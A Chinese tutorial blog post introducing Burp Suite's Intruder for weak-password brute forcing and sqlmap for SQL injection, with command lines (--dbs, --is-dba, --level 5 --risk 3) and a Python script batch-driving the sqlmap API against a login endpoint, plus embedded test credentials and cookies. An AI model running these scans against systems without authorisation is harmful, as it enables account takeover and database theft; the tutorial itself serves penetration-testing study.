Burp suite和Sqlmap入门

Source

Burp suite和Sqlmap入门

  • 弱口令爆破

    1. 应用场景

      系统密码包含大量弱口令,诸如12345、abc、账号密码相同,攻击者就可以利用该漏洞获取较高权限账号

    2. 爆破工具

      Burp Suite,常用功能抓包(Proxy)、重放(Repeater)、爆破(Intruder)

    3. 常用功能介绍

      Prox

      Proxy

      Repeater
      在这里插入图片描述

      手动点击Go一键发送请求的组件

      Intruder

      本次重点介绍Intruder组件,Intruder组件拥有4个模块,分别是Target、Positions、Payloads、Options


      Target

      Target

      Target模块,主要用于配置被爆破网站的主机与端口,默认为http方式,可以勾选Use HTTPS发送https的请求


      Position

      Position

      首先,该页面展示被爆破的请求,包含请求类型、请求地址、请求头、请求参数。

      其次,Attack type为爆破策略,一共提供了4种,包含:

      Sniper模式,采用单个payload进行爆破。这种爆破类型适合对请求内的参数进行单独爆破

      Battering ram模式,也是采用单个payload进行爆破。但是与Sniper不同的是,当有多个需要爆破的参数时,Sniper模式会对每个参数执行一遍payload;Battering ram模式则是多个参数一起执行一遍payload。举个栗子,现有账户密码两个参数需要爆破,已选一个0-9的payload,Sniper模式先对账号执行一次payload,再对密码执行一次payload,一共20次;Battering ram模式对账号密码一起执行一次payload,一共10次;

      PitchFork模式:只能选一个payload,所有参数皆执行该payload,如有参数a、b、c,执行次数为a.payload X b.payload X c.payload

      Add、Clear、Auto、Refresh操作参数

      start attack

  • Sqlmap注入

    1. 所需环境

      python2.7,sqlmap.py

    2. 测试所需资源

      • 测试接口
      • 相关参数
    3. 单次检测

      • Get
      [sqlmap.py](http://sqlmap.py/) -u “[http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html”](http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html%E2%80%9D) --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;
      • Post

        使用Burp suite拦截数据包,保存在文件里,使用-r读取文件

        sqlmap.py -r "D://file_location"
        
    4. 可选参数

      • –dbs:获取数据库的所有库
      • –is-dba:判断当前用户是否为数据库管理员
      • –level:注入策略的等级,最高为5,越高覆盖面越广,耗时越长
      • –risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试

      示例:

      sqlmap.py -r C:\Users\47992\Desktop\1678.txt --dbs --is-dba --level 5 --risk 3
      

      结果如图:

      没注入点的运行结果

                ![无注入点](https://img-blog.csdnimg.cn/df70edc50a8e469ea66584fd02ce1b14.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNTg3MDE3,size_16,color_FFFFFF,t_70)
      
      
           有注入点
      
       ![有注入点](https://img-blog.csdnimg.cn/531e259f494b48d689378fc6f3c1f77d.png)
      
      1. 批量执行

        • 方案一:sqlmap api

          大致流程:

          1️⃣ 通过 sqlmapapi.py -s 开启sqlmap api的服务端。服务端启动后,在服务端命令行中会返回一个随机的admin token值,这个token值用于管理taskid(获取、清空操作),在这个流程中不需要amin token这个值,可以忽略。服务端会处于一个等待客户端的状态。

          2️⃣ 通过GET请求 http://ip:port/task/new 这个地址,即可创建一个新的扫描任务,在响应中会返回一个随机的taskid。这个taskid在这个流程中尤为重要,因此需要通过变量存储下来,方便后面程序的调用。

          3️⃣ 通过POST请求 http://ip:port/scan//start 地址,并通过json格式提交参数(待扫描的HTTP数据包、若存在注入是否获取当前数据库用户名),即可开启一个扫描任务,该请求会返回一个enginedid。

          4️⃣ 通过GET请求 http://ip:port/scan//status 地址,即可获取指定的taskid的扫描状态。这个返回值分为两种,一种是run状态(扫描未完成),一种是terminated状态(扫描完成)。

          5️⃣ 判断扫描状态,如果扫描未完成,再次请求 http://ip:port/scan//status 地址 ,直到扫描完成。

          6️⃣ 扫描完成后获取扫描的结果,是否是SQL注入,若不存在SQL注入,data字段为空,若存在SQL注入,则会返回数据库类型、payload等等

          import json
          import requests
          import time
          from urllib import parse
          
          response = requests.get("http://127.0.0.1:8775/task/new")
          print(response.json())
          taskid = response.json()["taskid"]
          
          url = 'http://192.168.1.49:7100/api/auth/token'
          headers = {
                      
                        "Content-Type": "application/json"}
          option = {
                      
                        "randomAgent": True,
                    "level": 3,
                    "tech": "BT"}
          
          username = "15108439740"
          password = "123"
          data = {
                      
                        "digest": "64a62d49999fb141855f51ed3d58b5d0",
                  "userNo": "20032016",
                  "oid": "15CF2B0253E200A00270000000A2F105"}
          parse_data = parse.urlencode(data)
          print("转换后的data" + parse_data)
          
          payload = {
                      
                        "url": url,
                     "data": parse_data}
          
          res = requests.post(url="http://127.0.0.1:8775/option/%s/set" % taskid, data=json.dumps(option), headers=headers)
          print(res.json())
          
          res1 = requests.post(url="http://127.0.0.1:8775/scan/%s/start" % taskid, data=json.dumps(payload), headers=headers)
          print(res1.json())
          
          while 1:
              res3 = requests.get(url="http://127.0.0.1:8775/scan/%s/status" % taskid)
              print(res3.json())
              if res3.json()["status"] != 'terminated':
                  pass
              else:
                  res2 = requests.get(url="http://127.0.0.1:8775/scan/%s/data" % taskid)
                  print(res2.json())
                  log = requests.get(url="http://127.0.0.1:8775/scan/%s/log" % taskid)
                  print(log.json())
                  res4 = requests.get(url="http://127.0.0.1:8775/task/%s/delete" % taskid)
                  break
              time.sleep(5)
          
        • 方案二:Burp Suite + SqlMap

          1️⃣ 涉及大批量业务操作,可以用Burp Suite设置好代理,浏览器上点点点,然后进入Proxy的HTTP history,筛选请求,保存到文件,然后提取数据包,执行sqlmap注入测试

          【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

          2️⃣ 少量目标请求(可通过前端发送),可在Options中设置记录Proxy或Repeater的log,最后直接执行:

          burpsuite日志

          sqlmap -l log.txt --batch -smart